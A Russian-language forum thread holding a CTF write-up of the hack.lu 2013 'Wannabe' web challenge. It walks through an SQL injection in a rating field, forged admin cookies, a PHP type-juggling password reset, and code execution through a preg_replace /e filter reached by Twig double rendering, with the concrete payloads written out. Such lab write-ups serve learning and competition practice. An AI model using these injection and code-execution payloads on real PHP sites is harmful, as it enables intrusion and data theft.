Старый 24.10.2013, 11:49   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию hack.lu CTF 2013

WriteUp Wannabe Exploiting 400 (Web часть)

Wannabe (Category: Exploiting) Author(s): r1cky

One of our informants met a guy who calls himself Elite Arthur, he is a real jackass, and he thinks he is the best hacker alive. We got reason to believe that the robots hired him to write the firmwares for their weapons. But to write such a firmware we need the key to sign the code. Luckily for us, our informant also found his website: …. your job is to hack the server, find the flag and show this little cocksucker how skilled he really is. We count on you.
Here is your challenge: https://ctf.fluxfingers.net:1317. Alternatively, you can reach the challenge without a reverse proxy but also without SSL here: http://ctf.fluxfingers.net:1339



Задание представляет собой сайт на PHP, основными частями которого являются:
1) Авторизация (Брут?)
2) Форма восстановления пароля (Угадывание случайных чисел?)
3) Форма для контакта с автором (XSS? SQLi?)
4) Загрузка информации о багах в разделе "Bug bounty" (Загрузка шелла?)


Исследуя приложение узнаем следующее:
1) Используется шаблонизатор Twig (Нуллдеи?)

https://ctf.fluxfingers.net:1317/?site=lost'"\
Unable to find template "lost'"/.twig" (looked into: skeleton)

2) При загрузке скриншота картинка сохраняется со случайным названием в папку /upload/ab2386fc5be03a37f9f356a5da5a729f.gif

3) При добавлении багов в COOKIE user_bugs хранится сериализованный массив идентификаторов багов в base64, изменить который невозможно из-за хэша параметров, который хранится в user_mac


Долгие попытки обойти фильтр в загрузке скриншотов ни к чему не приводят, но в форме обнаруживается SQL инъекция через параметр rating.
Он проходит экранирование кавычек, но используется в INSERT запросе как число, таким образом можно сформировать следующий запрос:

Код:
rating=рейтинг,название,путь_к_скриншоту,статус)-- -
rating=3,123,0x75706C6F61642F61623233383666633562653033613337663966333536613564613561373239662E676966,2)-- -
Тут я опять пытался изменить имя добавляемого файла на *.php через инъекцию, но потом понял, что изменение названия в базе ничего не даст, так как файл заливается до этого.

Но при установке значения index.php (0x696E6465782E706870) мы получаем чтение файлов через подделку пути в SQLi.

Получив исходные коды первым делом исследуем как формируются cookie, достаем идентификатор администратора через SQLi:
Код:
rating=3,(select concat_ws(0x3a,name,userid,password) from 6karuhf843_user where admin=1 limit 1),123,2)-- -
Пароль хранится в sha1 и его очень не хочется брутить. Поэтому формируем админскую cookie (для нее не нужен пароль):

Код:
user_id = userid админа из базы
user_hash= sha1(userid)
user_bugs = 1
user_mac = sha1(SIGNATURE . user_id . user_hash . base64_encode(serialize(user_bugs)));
Заходим под админом, и... Это нам ничего не дает. Появляется только форма добавления новостей, для которой нужен пароль.
Так как сходу пройти задание до сих пор не получилось, начнем с конца. Сразу бросается в глаза файл filter.php

PHP код:
<?php
require_once 'twig/lib/Twig/SimpleFilter.php';

$makestatus = new Twig_SimpleFilter('makestatus', function($string) {
    return 
preg_replace('/(red|green): (.*)/e''\'<div style="color:$1;">\'.strtolower("$2").\'</div>\''$string);
}, array(
'is_safe' => array('html')));
?>
В нем мы имеем RCE через preg_replace с флагом "e". Получить его можно сформировав строку
Код:
red: {${phpinfo()}}
, которая будет выводится в шаблоне twig следующим образом:
Код:
{{ user_value|makestatus }}
Перебрав шаблоны, мы находим использование в
Код:
https://ctf.fluxfingers.net:1317/skeleton/base.twig
{{ message|makestatus }}
и
Код:
https://ctf.fluxfingers.net:1317/skeleton/lost.twig
{{ complete|makestatus }}
Однако на переменные message и complete мы никак не можем повлиять. Значит будем копать глубже...
В предпросмотре новостей в PanelController.php есть следующее:

PHP код:
$prev $twig->loadTemplate("panel.twig");
$out $prev->render(array('title' => $_POST['title'], 'text' => $_POST['text'], 'author' => 'admin''created' => 'now''prev' => '1''admin' => $user->isAdmin()));

$tmp = new Twig_Environment(new Twig_Loader_String());
$tmp->addFilter($makestatus);

echo 
$tmp->render($out); 
Шаблон panel.twig рендерится с нашими переменными, после чего из получившейся строки он рендерится повторно.
То есть, если в выводе наших переменных будут присутствовать конструкции шаблона twig, при повторном рендере они выполнятся.

Для RCE нам необходимо послать:
Код:
title={{ "red: {${phpinfo()}}"|makestatus }}
Но нам все еще нужен пароль администратора для этого. Вернемся к форме восстановления пароля:

PHP код:
    public function resetAction($db$user) {
        global 
$twig;

        if (!isset(
$_GET['username']))
            throw new 
Exception("Please specify a username to reset the password");

        
$username trim(strtolower($_GET['username']));

        if (
$username == "admin")
            throw new 
Exception("The password of the admin user cannot be reseted");

        
$code random(20);

        
$data $db->select("id, email""user""WHERE name='".mysql_real_escape_string($username)."'");

        ...
        
        
$reset = array(
            
'reset' => "'".mysql_real_escape_string($code)."'"
        
);

        
$db->update("user"$reset"WHERE id=".intval($data[0]['id']));
    } 
Судя по коду, сбросить пароль администратора мы не можем. Но у нас есть еще один юзер guest, с идентификатором 1.
Как происходит установка нового пароля после сброса?

PHP код:
    public function updateAction($db$user) {
        
$id $_GET['id'];
        
$pass $_GET['pass'];
        
$pass2 $_GET['pass2'];
        
$code $_GET['code'];

        ...    

        
$data $db->select("id""user""WHERE reset='".mysql_real_escape_string($code)."' AND reset <>''");

        ...

        if (
$data[0]['id'] == $id) {
            
$reset = array(
                
'password' => "'".mysql_real_escape_string(sha1($pass))."'",
                
'reset' => "''"
            
);

            
$db->update("user"$reset"WHERE id=".intval($id));

            
$this->vars['complete'] = "green: Password successfully reseted";
            
$this->indexAction($db$user);
        } else {
            throw new 
Exception("Invalid user-id specified");
        } 
1) Выбираем пользователя по указанному полю reset
2) Проверяем, что переданный идентификатор совпадает с идентификатором пользователя, полученного из базы
3) Обновляем пароль для пользователя с id = intval($id)

Сбрасываем пароль для гостя и забираем поле reset через SQLi
Код:
rating=3,(select concat_ws(0x3a,id,userid,name,reset) from 6karuhf843_user limit 1,1),0x414141,2)-- -
Так как при сравнении идентификаторов используется "==", то если передать в качестве id следующее значение 0.99999999999999999, то:
1) Сравнение 1 == "0.99999999" == true
2) intval("0.999999999") = 0

То есть, зная код сброса для гостя, мы можем обновить пароль администратора (для пароля используются очень жесткие требования, чтобы на ранних этапах другие команды не смогли сбрутить пароль по sha1 хэшу).


Логика финального эксплоита:
1) Сбрасываем пароль для guest
2) Вытаскиваем поле reset для guest через SQLi
3) Устанавливаем свой пароль для admin используя идентификатор 0.9999999999
4) В предпросмотре новости постим {{ "red: {${system(id)}}"|makestatus }}

Запускаем, и...
Код:
php exploit.php system id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Но это нам опять ничего не дало, так как это была лишь первая часть задания
Дальше идут какие-то бинарники, исходники на С и т.д.
На этом я довольный ушел спать так и не дорешав этот таск).
Миниатюры
Нажмите на изображение для увеличения
Название: 2.jpg
Просмотров: 1550
Размер:	17.8 Кб
ID:	410  

Последний раз редактировалось BlackFan; 24.10.2013 в 11:57..
BlackFan вне форума   Ответить с цитированием
Старый 24.10.2013, 11:53   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Часть исходных кодов приложения и наговнокоденный говносплоит
Вложения
Тип файла: zip source.zip (11.1 Кб, 257 просмотров)
Тип файла: zip exploit.zip (1.3 Кб, 272 просмотров)
BlackFan вне форума   Ответить с цитированием
Старый 04.11.2013, 20:11   #3
wget
 
Аватар для wget
 
Регистрация: 16.06.2012
Сообщений: 33
Репутация: 5
По умолчанию

Полный райтап этого задания (англ.)
http://www.arneswinnen.net/2013/11/h...-exploitation/
http://www.arneswinnen.net/2013/11/h...-exploitation/
wget вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot